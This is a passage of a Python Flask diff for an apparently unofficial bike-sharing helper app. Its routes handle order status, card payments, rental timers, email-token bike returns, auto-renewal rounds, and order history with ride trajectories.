hit[0] < _USER_INFO_TTL: + return hit[1] + result = request_with_user_auth(user_id, "GET", "/user/info", _silent=True) + if result.get("rtn_code") == 0: # 失败不缓存,便于立即重试 + _user_info_cache[user_id] = (now, result) + return result + + +@bp.route("/api/order/status") +def order_status(): + """获取用户订单状态(需要用户已配置凭据)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + token_id, access_token = get_user_auth(user["id"]) + if not token_id: + return jsonify({"rtn_code": 0, "has_credentials": False, "message": "用户未配置微信签名"}) + + result = _get_user_info_cached(user["id"]) + if result.get("rtn_code") != 0: + return jsonify({"rtn_code": result.get("rtn_code", 500), "has_credentials": True, + "message": result.get("message", "获取失败")}) + + data = result.get("data", {}) + non_deal_order = data.get("nonDealOrder") + + if not non_deal_order or not non_deal_order.get("order_id"): + return jsonify({"rtn_code": 0, "has_credentials": True, "has_order": False, "order": None}) + + # 共享标记:该订单若是"我共享出去、别人正在用",返回 shared 信息供前端显示"共享中" + shared = None + try: + import datetime as _dt + _tz = _dt.timezone(_dt.timedelta(hours=8)) + _now = _dt.datetime.now(_tz).strftime("%Y-%m-%d %H:%M:%S") + _conn = get_db() + _cur = _conn.cursor() + _cur.execute(""" + SELECT r.*, rider.email AS rider_email FROM rentals r + LEFT JOIN users rider ON rider.id = r.rider_user_id + WHERE order_id = ? AND user_id = ? AND expired = 0 AND end_time > ? + AND rider_user_id IS NOT NULL AND rider_user_id != ? + LIMIT 1 + """, (str(non_deal_order.get("order_id")), user["id"], _now, user["id"])) + _rental_row = _cur.fetchone() + _rental = dict(_rental_row) if _rental_row else None + # 车主(owner,即当前登录用户)给用车方(rider)起的私密备注,仅 owner 侧显示 + _owner_remark = "" + if _rental: + _cur.execute(""" + SELECT owner_remark FROM shares + WHERE owner_user_id = ? AND rider_user_id = ? + ORDER BY id DESC LIMIT 1 + """, (user["id"], _rental["rider_user_id"])) + _shr = _cur.fetchone() + if _shr and _shr["owner_remark"]: + _owner_remark = _shr["owner_remark"] + _conn.close() + if _rental: + from db import get_user_display_name + shared = { + "rental_id": _rental["id"], + "rider_user_id": _rental["rider_user_id"], + "rider_email": _rental.get("rider_email"), + "rider_name": get_user_display_name(_rental["rider_user_id"]), + "remark": _owner_remark, + "bike_code": _rental["bike_code"], + } + if not shared["rider_email"]: + _conn2 = get_db() + _c2 = _conn2.cursor() + _c2.execute("SELECT email FROM users WHERE id = ?", (_rental["rider_user_id"],)) + _r2 = _c2.fetchone() + _conn2.close() + if _r2: + shared["rider_email"] = _r2["email"] + except Exception as exc: + print(f"[订单状态] 识别共享订单失败: {exc}") + + order_status_value = non_deal_order.get("status") + if str(order_status_value) in ("1", "2"): + order_status_value = int(order_status_value) + return jsonify({"rtn_code": 0, "has_credentials": True, "has_order": True, + "order": {"order_id": non_deal_order.get("order_id"), + "status": order_status_value, # 1=未支付, 2=进行中 + "code": non_deal_order.get("code"), + "type": non_deal_order.get("type"), + "lock_protocol_id": non_deal_order.get("lock_protocol_id"), + "shared": shared}}) + + +@bp.route("/api/order/pay_methods", methods=["GET"]) +def order_pay_methods(): + """获取订单可用支付方式(代理 /pay/methods)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + code = request.args.get("code", "").strip() + if not code: + return jsonify({"rtn_code": 400, "message": "缺少 code 参数"}) + result = request_with_user_auth(user["id"], "GET", "/pay/methods", params={"code": code}) + if result.get("rtn_code") != 0: + return jsonify({"rtn_code": result.get("rtn_code", 500), + "message": result.get("message", "获取支付方式失败"), + "data": {"methods": []}}) + data = result.get("data", {}) + methods = data if isinstance(data, list) else data.get("payMethods", data.get("methods", [])) + card_methods = [m for m in methods if str(m.get("type")) in ("3", "4")] + return jsonify({"rtn_code": 0, "data": {"methods": methods, "has_card": len(card_methods) > 0, + "card_methods": card_methods}}) + + +@bp.route("/api/order/pay_with_card", methods=["POST"]) +def order_pay_with_card(): + """月卡/周卡自动支付订单(代理 POST /pay/submit)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json() or {} + order_id = data.get("order_id") + code = data.get("code") + pay_type = data.get("type", "3") + package_id = data.get("package_id") + if not order_id or not code or not package_id: + return jsonify({"rtn_code": 400, "message": "缺少参数"}) + + card_name = "月卡" if pay_type == "3" else "周卡" + print(f"[pay_with_card] user={user.get('email')}, order_id={order_id}, type={card_name}, package_id={package_id}") + + result = request_with_user_auth(user["id"], "POST", "/pay/submit", data={ + "platform": "1", "order_id": order_id, "code": code, + "type": pay_type, "package_id": package_id + }) + + # 解析 /pay/submit 返回的支付状态:data 可能是 dict / 列表 / 空列表 / None,需全部兜底 + _pd = result.get("data") + if isinstance(_pd, list): + pay_status = str(_pd[0].get("status", "")) if _pd and isinstance(_pd[0], dict) else "" + elif isinstance(_pd, dict): + pay_status = str(_pd.get("status", "")) + else: + pay_status = "" + if pay_status == "0": + return jsonify({"rtn_code": 0, "success": True, + "message": f"{card_name}支付成功", "need_wechat_pay": False}) + elif pay_status == "1": + return jsonify({"rtn_code": 0, "success": False, + "message": f"{card_name}余额不足,需要微信支付", + "need_wechat_pay": True}) + else: + return jsonify({"rtn_code": result.get("rtn_code", 0), + "message": result.get("message", "支付结果未知"), + "data": result.get("data", {})}) + + +# ========== 租赁计时路由(原样复制自 app.py.bak) ========== + +@bp.route("/api/rental/start", methods=["POST"]) +def rental_start(): + """开始用车计时""" + print(f"[rental/start] Headers: {dict(request.headers)}") + user = get_current_user() + print(f"[rental/start] User: {user}") + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + bike_code = str(data.get("bike_code", "")).strip() + if not bike_code: + return jsonify({"rtn_code": 400, "message": "缺少 bike_code"}) + + tz = dt.timezone(dt.timedelta(hours=8)) + conn = get_db() + cursor = conn.cursor() + + now_beijing = dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M:%S") + cursor.execute("SELECT * FROM rentals WHERE email = ? AND expired = 0 AND end_time > ?", + (user["email"], now_beijing)) + existing = cursor.fetchone() + if existing: + conn.close() + return jsonify({"rtn_code": 400, "message": "您已有进行中的用车计时,请先还车"}) + + duration = get_user_rental_settings(user["id"])["rental_duration_minutes"] + now_beijing = dt.datetime.now(tz) + end_beijing = now_beijing + dt.timedelta(minutes=duration) + start_str = now_beijing.strftime("%Y-%m-%d %H:%M:%S") + end_str = end_beijing.strftime("%Y-%m-%d %H:%M:%S") + cursor.execute(""" + INSERT INTO rentals (bike_code, email, user_id, start_time, end_time, duration, source) + VALUES (?, ?, ?, ?, ?, ?, 'reminder') + """, (bike_code, user["email"], user["id"], start_str, end_str, duration)) + rental_id = cursor.lastrowid + conn.commit() + conn.close() + print(f"[rental/start] 创建租车: bike={bike_code}, email={user['email']}, rental_id={rental_id}") + + start_rental_timer(rental_id, user["email"], bike_code, duration, user["id"]) + + return jsonify({"rtn_code": 0, "message": "计时开始", + "data": {"rental_id": rental_id, "bike_code": bike_code, + "duration": duration, "remaining_seconds": duration * 60}}) + + +@bp.route("/api/rental/status", methods=["GET"]) +def rental_status(): + """查询当前用户用车状态""" + user = get_current_user() + print(f"[rental/status] User: {user}") + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + conn = get_db() + cursor = conn.cursor() + tz = dt.timezone(dt.timedelta(hours=8)) + now_beijing = dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M:%S") + order_id = request.args.get("order_id") + + # 轮次预估需要 user_id/rider_user_id/renewal_round/rounds_override: + # 这几个列必须一起 SELECT,否则 _rounds_summary 只能拿到默认设置(轮数恒为 1)。 + _RENTAL_COLS = """id, order_id, bike_code, email, start_time, end_time, expired, source, + user_id, rider_user_id, renewal_round, rounds_override""" + if order_id: + # 只允许查询自己的订单,否则任意登录用户可用 order_id 探测他人订单 + cursor.execute(f""" + SELECT {_RENTAL_COLS} + FROM rentals WHERE order_id = ? AND expired = 0 AND end_time > ? + AND (user_id = ? OR email = ?) LIMIT 1 + """, (order_id, now_beijing, user["id"], user["email"])) + else: + cursor.execute(f""" + SELECT {_RENTAL_COLS} + FROM rentals WHERE email = ? AND expired = 0 AND end_time > ? AND source = 'reminder' + ORDER BY id DESC LIMIT 1 + """, (user["email"], now_beijing)) + + rental = cursor.fetchone() + print(f"[rental/status] 查询结果: email={user['email']}, order_id={order_id}, rental={dict(rental) if rental else None}") + + if not rental: + conn.close() + return jsonify({"rtn_code": 0, "data": {"active": False}}) + + r = dict(rental) + remaining = _get_remaining_seconds(r) + + if remaining <= 0: + cursor.execute("UPDATE rentals SET expired = 1 WHERE id = ?", (r["id"],)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "data": {"active": False}}) + + conn.close() + return jsonify({"rtn_code": 0, "data": { + "active": True, "rental_id": r["id"], "order_id": r.get("order_id"), + "bike_code": r["bike_code"], "email": r["email"], + "start_time": r["start_time"], "end_time": r["end_time"], + "remaining_seconds": remaining, "source": r.get("source"), + **_rounds_summary(r, r.get("rider_user_id") or r.get("user_id")), + }}) + + +@bp.route("/api/rental/return", methods=["POST"]) +def rental_return(): + """结束独立提醒计时;真实订单必须走实际还车接口。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json() or {} + rental_id = data.get("rental_id") + if not rental_id: + return jsonify({"rtn_code": 400, "message": "缺少 rental_id"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT user_id, source, expired FROM rentals WHERE id = ?", (rental_id,)) + rental = cursor.fetchone() + if not rental: + conn.close() + return jsonify({"rtn_code": 404, "message": "计时记录不存在"}) + if rental["user_id"] != user["id"]: + conn.close() + return jsonify({"rtn_code": 403, "message": "无权操作"}) + if rental["source"] != "reminder": + conn.close() + return jsonify({"rtn_code": 400, "message": "真实订单请使用订单还车功能"}) + if rental["expired"]: + conn.close() + return jsonify({"rtn_code": 0, "message": "计时已经结束"}) + cursor.execute("UPDATE rentals SET expired = 1 WHERE id = ? AND expired = 0", (rental_id,)) + conn.commit() + conn.close() + _cancel_rental_timers(rental_id) + print(f"[操作日志] 手动还车(计时结束): rental_id={rental_id}") + return jsonify({"rtn_code": 0, "message": "已确认还车"}) + + +# ========== 邮件能力链接还车(无需登录) ========== + +@bp.route("/rental/email-return", methods=["GET"]) +def email_return_page(): + """邮件按钮的确认页。token 放在 URL fragment,不会进入服务器访问日志。""" + return _return_page(mode="confirm") + + +@bp.route("/api/rental/email-return/inspect", methods=["POST"]) +def email_return_inspect(): + """只读检查能力令牌,用于确认页展示车辆与共享关系。""" + data = request.get_json(silent=True) or {} + status, rental = resolve_return_token(str(data.get("token") or "")) + if status != "valid": + messages = { + "used": "该还车链接已使用", + "expired": "该还车链接已过期", + "finished": "该订单已结束", + "invalid": "还车链接无效", + } + return jsonify({"rtn_code": 400, "status": status, + "message": messages.get(status, "还车链接不可用")}) + + context = get_rental_mail_context(rental["id"]) or rental + owner_email = context.get("owner_email") or context.get("email") or "" + rider_email = context.get("rider_email") or "" + shared = bool(rider_email and context.get("rider_user_id") != context.get("user_id")) + can_return = bool(context.get("order_id") and context.get("source") != "reminder") + return jsonify({"rtn_code": 0, "data": { + "bike_code": context.get("bike_code"), + "order_id": context.get("order_id") or context.get("id"), + "shared": shared, + "owner": owner_email, + "rider": rider_email if shared else owner_email, + "can_return": can_return, + }}) + + +@bp.route("/rental/email-return", methods=["POST"]) +def email_return_execute(): + """以邮件中的短期单次 token 执行还车;不依赖登录会话。""" + token = str(request.form.get("token") or "") + status, rental = resolve_return_token(token) + if status in ("used", "finished"): + return _return_page(mode="success", title="订单已结束", + message="这辆车已经完成还车,无需重复操作。") + if status != "valid" or not rental: + message = "还车链接已过期" if status == "expired" else "还车链接无效" + return _return_page(mode="error", title="无法使用此链接", message=message), 400 + + rental_id = int(rental["id"]) + with _email_return_lock(rental_id): + # 等待同一订单的其他请求后再校验一次,防止双击/双方同时还车。 + status, rental = resolve_return_token(token) + if status in ("used", "finished"): + return _return_page(mode="success", title="订单已结束", + message="这辆车已经完成还车,无需重复操作。") + if status != "valid" or not rental: + return _return_page(mode="error", title="无法使用此链接", + message="链接已失效,请回到系统查看订单。"), 400 + if not rental.get("user_id"): + return _return_page(mode="error", title="还车失败", + message="该记录未绑定微信用户,无法执行远程还车。"), 400 + if not rental.get("order_id") or rental.get("source") == "reminder": + return _return_page(mode="error", title="无法远程还车", + message="这是未绑定微信订单的本地计时提醒,请在小白单车中手动还车。"), 400 + # 邮件按钮是用户主动结束订单,不应因为自动续租设置又把车重新开起来。 + result = auto_return_bike(rental_id, int(rental["user_id"]), allow_renewal=False) + + if result.get("success"): + return _return_page(mode="success", title="还车成功", + message=f"车辆 #{rental['bike_code']} 已成功还车。") + return _return_page(mode="retry", title="还车失败", + message=result.get("message") or "上游还车服务暂未确认成功。", + token=token, bike_code=rental.get("bike_code")), 502 + + +# ========== 新增:微信订单同步 ========== + +@bp.route("/api/rental/sync", methods=["POST"]) +def rental_sync(): + """立即同步微信订单状态到本地""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + sync_result = _check_user_order(user["id"]) + # 强制同步已经读取了最新 /user/info,丢弃订单状态接口的旧缓存。 + _user_info_cache.pop(user["id"], None) + if not sync_result or not sync_result.get("ok"): + return jsonify({ + "rtn_code": (sync_result or {}).get("rtn_code", 502), + "message": (sync_result or {}).get("message", "同步微信订单状态失败"), + "data": {"active": None}, + }) + + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT id, order_id, bike_code, expired, end_time, source, + user_id, rider_user_id, renewal_round, rounds_override + FROM rentals + WHERE user_id = ? AND expired = 0 AND end_time > datetime('now', '+8 hours') + ORDER BY id DESC LIMIT 1 + """, (user["id"],)) + rental = cursor.fetchone() + conn.close() + + if rental: + tz = dt.timezone(dt.timedelta(hours=8)) + now = dt.datetime.now(tz) + end = dt.datetime.strptime(rental["end_time"], "%Y-%m-%d %H:%M:%S").replace(tzinfo=tz) + remaining = max(int((end - now).total_seconds()), 0) + return jsonify({"rtn_code": 0, "data": { + "active": True, "rental_id": rental["id"], + "bike_code": rental["bike_code"], + "remaining_seconds": remaining, + "end_time": rental["end_time"], "source": rental["source"], + **_rounds_summary(dict(rental), rental["user_id"]), + }}) + return jsonify({"rtn_code": 0, "data": {"active": False}}) + + +# ========== 订单历史(我的弹窗,双方可见共享明细) ========== + +def _order_row_for(row: dict, viewer_id: int) -> dict: + """把 rentals 行转成前端订单历史卡片。""" + tz = dt.timezone(dt.timedelta(hours=8)) + start = row.get("start_time") + finished = bool(row.get("expired")) + # 实际结束时间优先 returned_at;未结束的用 end_time + end_effective = row.get("returned_at") or row.get("end_time") + duration_seconds = None + try: + s = dt.datetime.strptime(start, "%Y-%m-%d %H:%M:%S").replace(tzinfo=tz) + e = dt.datetime.strptime(end_effective, "%Y-%m-%d %H:%M:%S").replace(tzinfo=tz) + duration_seconds = max(int((e - s).total_seconds()), 0) + except (TypeError, ValueError): + pass + is_shared = bool(row.get("rider_user_id") and row["rider_user_id"] != row.get("user_id")) + role = None + partner_label = "" + if is_shared: + is_owner = row.get("user_id") == viewer_id + role = "owner" if is_owner else "rider" + # 双方可见:给对方起的私密备注 + 邮箱 + if is_owner: + partner_label = (row.get("owner_remark") or row.get("rider_email") + or get_user_display_name(row["rider_user_id"])) + else: + partner_label = (row.get("rider_remark") or row.get("user_email") + or get_user_display_name(row["user_id"])) + return { + "id": row["id"], + "order_id": row.get("order_id") or str(row["id"]), + "bike_code": row["bike_code"], + "source": row.get("source") or "", + "start_time": start, + "end_time": end_effective, + "returned": finished, + "duration_seconds": duration_seconds, + "start_label": row.get("start_label"), + "end_label": row.get("end_label"), + "shared": is_shared, + "role": role, + "partner": partner_label if is_shared else "", + } + + +# 自动续租产生的多轮订单:同一辆车、轮次 +1、首尾时间相接(≤10 分钟)→ 合并成一条历史 +CHAIN_GAP_SECONDS = 10 * 60 + + +def _parse_dt(value): + if not value: + return None + try: + return dt.datetime.strptime(str(value), "%Y-%m-%d %H:%M:%S") + except (TypeError, ValueError): + return None + + +def _merge_rental_chains(rows): + """把 rentals 行按「自动续租链」分组成 chain。 + + 判定条件(全部满足才并入上一条): + 1) 同一辆车 + 2) 同一车主 + 同一骑行人的组合 + 3) renewal_round 恰好 +1(手动重新开锁总是第 1 轮,不会被误并) + 4) 本轮开始时间与上一轮结束时间相差 -1 ~ 10 分钟(续租是紧接着重开的) + """ + ordered = sorted(rows, key=lambda r: (r.get("start_time") or "", r["id"])) + chains = [] + for row in ordered: + rnd = int(row.get("renewal_round") or 1) + merged = False + if chains: + last = chains[-1]["rows"][-1] + last_rnd = int(last.get("renewal_round") or 1) + same_bike = str(row.get("bike_code")) == str(last.get("bike_code")) + same_pair = (row.get("user_id") == last.get("user_id") + and row.get("rider_user_id") == last.get("rider_user_id")) + prev_end = _parse_dt(last.get("returned_at") or last.get("end_time")) + this_start = _parse_dt(row.get("start_time")) + gap_ok = False + if prev_end and this_start: + gap = (this_start - prev_end).total_seconds() + gap_ok = -60 <= gap <= CHAIN_GAP_SECONDS + if same_bike and same_pair and rnd == last_rnd + 1 and gap_ok: + chains[-1]["rows"].append(row) + merged = True + if not merged: + chains.append({"rows": [row]}) + return chains + + +def _chain_order_dict(chain: dict, viewer_id: int) -> dict: + """把一条续租链渲染成一张订单卡片:总时长 = 各轮实际用时之和。""" + rows = chain["rows"] + first, last = rows[0], rows[-1] + total_seconds = 0 + for r in rows: + s = _parse_dt(r.get("start_time")) + e = _parse_dt(r.get("returned_at") or r.get("end_time")) + if s and e: + total_seconds += max(int((e - s).total_seconds()), 0) + base = _order_row_for(last, viewer_id) + base.update({ + "id": last["id"], + "ids": [r["id"] for r in rows], + "rounds": len(rows), + "start_time": first.get("start_time"), + "end_time": last.get("returned_at") or last.get("end_time"), + "duration_seconds": total_seconds, + "start_label": first.get("start_label"), + "end_label": last.get("end_label"), + # 多轮里任一轮未结束,整条链就算「进行中」 + "returned": all(bool(r.get("expired")) for r in rows), + "order_id": last.get("order_id") or str(last["id"]), + }) + return base + + +@bp.route("/api/user/orders") +def user_orders(): + """订单历史:本人作为车主或骑行者的真实订单(不含本地计时 reminder)。 + + 自动续租产生的多轮订单会合并成一条,显示总用时与整体起止时间。 + """ + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + try: + limit = max(1, min(500, int(request.args.get("limit", 80)))) + except (TypeError, ValueError): + limit = 80 + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT r.*, o.email AS user_email, ri.email AS rider_email, + s.owner_remark AS owner_remark, s.rider_remark AS rider_remark + FROM rentals r + LEFT JOIN users o ON o.id = r.user_id + LEFT JOIN users ri ON ri.id = r.rider_user_id + LEFT JOIN shares s + ON s.owner_user_id = r.user_id AND s.rider_user_id = r.rider_user_id + AND s.id = (SELECT MAX(id) FROM shares + WHERE owner_user_id = r.user_id AND rider_user_id = r.rider_user_id) + WHERE (r.user_id = ? OR r.rider_user_id = ?) + AND COALESCE(r.source, '') != 'reminder' + ORDER BY r.id DESC LIMIT ? + """, (user["id"], user["id"], limit)) + rows = [dict(r) for r in cursor.fetchall()] + conn.close() + chains = _merge_rental_chains(rows) + # 最近的在最前 + chains.sort(key=lambda c: (c["rows"][-1].get("start_time") or "", c["rows"][-1]["id"]), + reverse=True) + return jsonify({"rtn_code": 0, + "data": [_chain_order_dict(c, user["id"]) for c in chains]}) + + +# ========== 开锁前预览(月卡余量 + 自动续租轮次预估) ========== + +def _rounds_summary(rental: dict, policy_user_id: int) -> dict: + """轮次预估:当前轮 / 计划总轮数 / 最终预计还车时间。 + + 最终还车时间 = 本轮 end_time + 剩余轮数 × 单轮时长。 + """ + settings = get_user_rental_settings(policy_user_id) + duration = int(settings.get("rental_duration_minutes", 19)) + try: + current_round = max(1, int(rental.get("renewal_round") or 1)) + except (TypeError, ValueError): + current_round = 1 + override = rental.get("rounds_override") + try: + total_rounds = int(override) if override else int(settings.get("rental_rounds", 1)) + except (TypeError, ValueError): + total_rounds = int(settings.get("rental_rounds", 1)) + total_rounds = max(current_round, total_rounds) + # 只有真实订单(有 order_id)才可能自动续租;本地计时 reminder 不会重开 + auto_on = bool(settings.get("auto_return_enabled")) and bool(rental.get("order_id")) + remaining_rounds = max(0, total_rounds - current_round) if auto_on else 0 + final_end = rental.get("end_time") + try: + tz = dt.timezone(dt.timedelta(hours=8)) + end = dt.datetime.strptime(rental["end_time"], "%Y-%m-%d %H:%M:%S").replace(tzinfo=tz) + final_end = (end + dt.timedelta(minutes=duration * remaining_rounds)).strftime( + "%Y-%m-%d %H:%M:%S") + except (KeyError, TypeError, ValueError): + pass + return { + "current_round": current_round, + "total_rounds": total_rounds if auto_on else current_round, + "auto_return": auto_on, + "duration_minutes": duration, + "final_end_time": final_end, + "rounds_override": int(override) if override else None, + } + + +def _card_preview(user_id: int, code: str): + """读取优惠卡状态:[(card_name, remain or None=无限), ...](读取失败返回 None)。""" + try: + result = request_with_user_auth(user_id, "GET", "/user/packages", _silent=True) + except Exception: + return None + if not result or result.get("rtn_code") != 0: + return None + data = result.get("data") or {} + if not isinstance(data, dict): + return None + pkgs = data.get("bike_packages", data.get("packages", [])) or [] + if not isinstance(pkgs, list): + return None + cards = [] + for p in pkgs: + if not isinstance(p, dict): + continue + remain = p.get("remainTimes") + name = (p.get("name") or p.get("packageName") + or ("月卡" if str(p.get("type")) == "3" else "卡包")) + if remain is None or str(remain).strip().lower() in ("", "none", "null"): + cards.append({"name": name, "remain": None}) + continue + try: + cards.append({"name": name, "remain": int(float(remain))}) + except (TypeError, ValueError): + cards.append({"name": name, "remain": None}) + return cards + + +@bp.route("/api/order/preview") +def order_preview(): + """开锁前预览:月卡余量 + 按轮次设置预估的还车时间。code 必填; + owner_user_id 传了走共享预览(用车主的卡与车主设置的轮次)。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + code = (request.args.get("code") or "").strip() + if not code: + return jsonify({"rtn_code": 400, "message": "缺少 code"}) + owner_user_id = request.args.get("owner_user_id") + shared = bool(owner_user_id) + if shared: + try: + owner_user_id = int(owner_user_id) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "共享者参数错误"}) + from routes.share import _find_share + if not _find_share(owner_user_id, user["id"]): + return jsonify({"rtn_code": 400, "message": "共享关系不存在或已解绑"}) + policy_user_id = owner_user_id if shared else user["id"] + settings = get_user_rental_settings(policy_user_id) + duration = int(settings["rental_duration_minutes"]) + rounds = int(settings["rental_rounds"]) + cards = _card_preview(policy_user_id, code) + has_card = bool(cards) + # 优先保护月卡:卡余量可识别时,预估轮次不超过卡余量(每轮还车+支付消耗一次) + est_rounds = rounds + card_note = "" + if settings.get("protect_card") and cards: + finite = [c["remain"] for c in cards if c["remain"] is not None] + if finite: + best = max(finite) + est_rounds = max(1, min(rounds, best)) + card_note = f"卡余量 {best} 次" if best < rounds else "" + else: + card_note = "卡余量不限" + elif cards: + finite = [c["remain"] for c in cards if c["remain"] is not None] + card_note = f"卡余量 {max(finite)} 次" if finite else "卡余量不限" + auto_on = bool(settings.get("auto_return_enabled")) + total_minutes = duration * (est_rounds if auto_on else 1) + tz = dt.timezone(dt.timedelta(hours=8)) + est_end = (dt.datetime.now(tz) + dt.timedelta(minutes=total_minutes)).strftime("%H:%M") + return jsonify({"rtn_code": 0, "data": { + "shared": shared, + "policy_user": "车主" if shared else "本人", + "duration_minutes": duration, + "rounds_setting": rounds, + "rounds_planned": est_rounds if auto_on else 1, + "auto_return": auto_on, + "total_minutes": total_minutes, + "est_end_time": est_end, + "has_card": has_card, + "cards": cards or [], + "card_note": card_note, + "protect_card": bool(settings.get("protect_card")), + }}) + + +# ========== 手动 +1 轮 ========== +# 语义(与前端弹窗文案一致):只把「计划轮数」+1,**不延长当前这一轮**。 +# 当前轮照常到点 → 自动还车 → 优惠卡支付 → 立刻重新开锁同一辆车进入下一轮。 +# 提高 rounds_override 后,timer._planned_rounds 的续租上限随之提高。 + +@bp.route("/api/order/add_round", methods=["POST"]) +def order_add_round(): + """给进行中的订单追加一轮计划:只提高轮次上限,不改变本轮到期时间。 + 真实订单(unlock/sync/shared)可用;车主与骑行者均可操作。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json(silent=True) or {} + order_id = data.get("order_id") or data.get("rental_id") + if not order_id: + return jsonify({"rtn_code": 400, "message": "缺少订单ID"}) + conn = get_db() + row = conn.execute(""" + SELECT * FROM rentals + WHERE (order_id = ? OR id = ?) AND expired = 0 + ORDER BY id DESC LIMIT 1 + """, (str(order_id), str(order_id))).fetchone() + if not row: + conn.close() + return jsonify({"rtn_code": 404, "message": "进行中的订单不存在"}) + rental = dict(row) + if user["id"] not in (rental.get("user_id"), rental.get("rider_user_id")): + conn.close() + return jsonify({"rtn_code": 403, "message": "无权操作"}) + if not rental.get("order_id") or rental.get("source") == "reminder": + conn.close() + return jsonify({"rtn_code": 400, "message": "本地计时提醒不支持加轮,请用真实订单还车"}) + + # 轮次策略跟随骑行者的设置(共享用车时骑行者决定时长/轮数) + policy_user_id = rental.get("rider_user_id") or rental.get("user_id") + settings = get_user_rental_settings(policy_user_id) + try: + current_round = max(1, int(rental.get("renewal_round") or 1)) + except (TypeError, ValueError): + current_round = 1 + override = rental.get("rounds_override") + try: + planned = int(override) if override else int(settings["rental_rounds"]) + except (TypeError, ValueError): + planned = int(settings["rental_rounds"]) + # 加轮的意义是「多骑一轮」:把计划提到 max(当前轮, 原计划)+1,最多 50 轮 + new_total = min(50, max(current_round, planned) + 1) + if new_total <= current_round: + conn.close() + return jsonify({"rtn_code": 400, "message": "已达轮次上限"}) + + # 关键:只写 rounds_override,end_time / duration 保持不变 → 本轮时长绝不被延长 + conn.execute("UPDATE rentals SET rounds_override = ? WHERE id = ?", + (new_total, rental["id"])) + conn.commit() + conn.close() + + # 清除订单状态短缓存,让前端立刻读到新的轮数 + _user_info_cache.pop(policy_user_id, None) + + summary = _rounds_summary({**rental, "rounds_override": new_total}, policy_user_id) + print(f"[操作日志] 手动加轮: order_id={rental.get('order_id')}, " + f"new_total={new_total}, end_time 不变={rental.get('end_time')}, user={user['email']}") + return jsonify({"rtn_code": 0, + "message": f"已追加 1 轮(共 {new_total} 轮),本轮时长不变", + "data": { + "rental_id": rental["id"], + "end_time": rental.get("end_time"), + "remaining_seconds": _get_remaining_seconds(rental), + **summary, + }}) + + +@bp.route("/api/user/orders/trajectory") +def user_order_trajectory(): + """订单骑行轨迹:传 rental_id 时按「整条续租链」取轨迹。 + + - 多轮订单(自动续租)合并:起点=第 1 轮开始,终点=最后一轮结束 + - 坐标来源 bike_history(GCJ02,与上游车辆同坐标系) + - 同时返回起终点坐标兜底,便于采集缺口时也能画出示意线 + """ + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + try: + rental_id = int(request.args.get("rental_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "缺少 rental_id"}) + + conn = get_db() + row = conn.execute(""" + SELECT r.*, o.email AS user_email, ri.email AS rider_email, + s.owner_remark AS owner_remark, s.rider_remark AS rider_remark + FROM rentals r + LEFT JOIN users o ON o.id = r.user_id + LEFT JOIN users ri ON ri.id = r.rider_user_id + LEFT JOIN shares s + ON s.owner_user_id = r.user_id AND s.rider_user_id = r.rider_user_id + AND s.id = (SELECT MAX(id) FROM shares + WHERE owner_user_id = r.user_id AND rider_user_id = r.rider_user_id) + WHERE r.id = ? + """, (rental_id,)).fetchone() + if not row: + conn.close() + return jsonify({"rtn_code": 404, "message": "订单不存在"}) + rental = dict(row) + # 权限:只有该订单的车主或骑行者可看 + if user["id"] not in (rental.get("user_id"), rental.get("rider_user_id")): + conn.close() + return jsonify({"rtn_code": 403, "message": "无权查看该订单轨迹"}) + + # 找出该订单所属的整条续租链(用同一套合并规则,保证与列表一致) + siblings = conn.execute(""" + SELECT * FROM rentals + WHERE bike_code = ? + AND COALESCE(user_id, 0) = ? + AND COALESCE(rider_user_id, 0) = ? + AND COALESCE(source, '') != 'reminder' + ORDER BY id ASC + """, (rental.get("bike_code"), + rental.get("user_id") or 0, + rental.get("rider_user_id") or 0)).fetchall() + chains = _merge_rental_chains([dict(s) for s in siblings]) + chain_rows = [rental] + for c in chains: + if any(r["id"] == rental_id for r in c["rows"]): + chain_rows = c["rows"] + break + + first, last = chain_rows[0], chain_rows[-1] + code = rental.get("bike_code") or "" + start_time = first.get("start_time") + end_time = last.get("returned_at") or last.get("end_time") + points = [] + if code and start_time and end_time: + # 采集点是 GCJ02;按订单窗口取点(前后各留 2 分钟容错) + rows = conn.execute(""" + SELECT latitude, longitude, recorded_at + FROM bike_history + WHERE bike_code = ? + AND recorded_at >= datetime(?, '-2 minutes') + AND recorded_at <= datetime(?, '+2 minutes') + ORDER BY recorded_at ASC + LIMIT 3000 + """, (str(code), start_time, end_time)).fetchall() + points = [{"lat": r["latitude"], "lng": r["longitude"], + "time": r["recorded_at"]} for r in rows + if r["latitude"] is not None and r["longitude"] is not None] + conn.close() + + duration_seconds = None + s_dt, e_dt = _parse_dt(start_time), _parse_dt(end_time) + if s_dt and e_dt: + duration_seconds = max(int((e_dt - s_dt).total_seconds()), 0) + + return jsonify({"rtn_code": 0, "data": { + "rental_id": rental_id, + "ids": [r["id"] for r in chain_rows], + "rounds": len(chain_rows), + "bike_code": code, + "start_time": start_time, + "end_time": end_time, + "duration_seconds": duration_seconds, + "returned": all(bool(r.get("expired")) for r in chain_rows), + "start_label": first.get("start_label"), + "end_label": last.get("end_label"), + "start_point": ({"lat": first.get("start_latitude"), + "lng": first.get("start_longitude")} + if first.get("start_latitude") 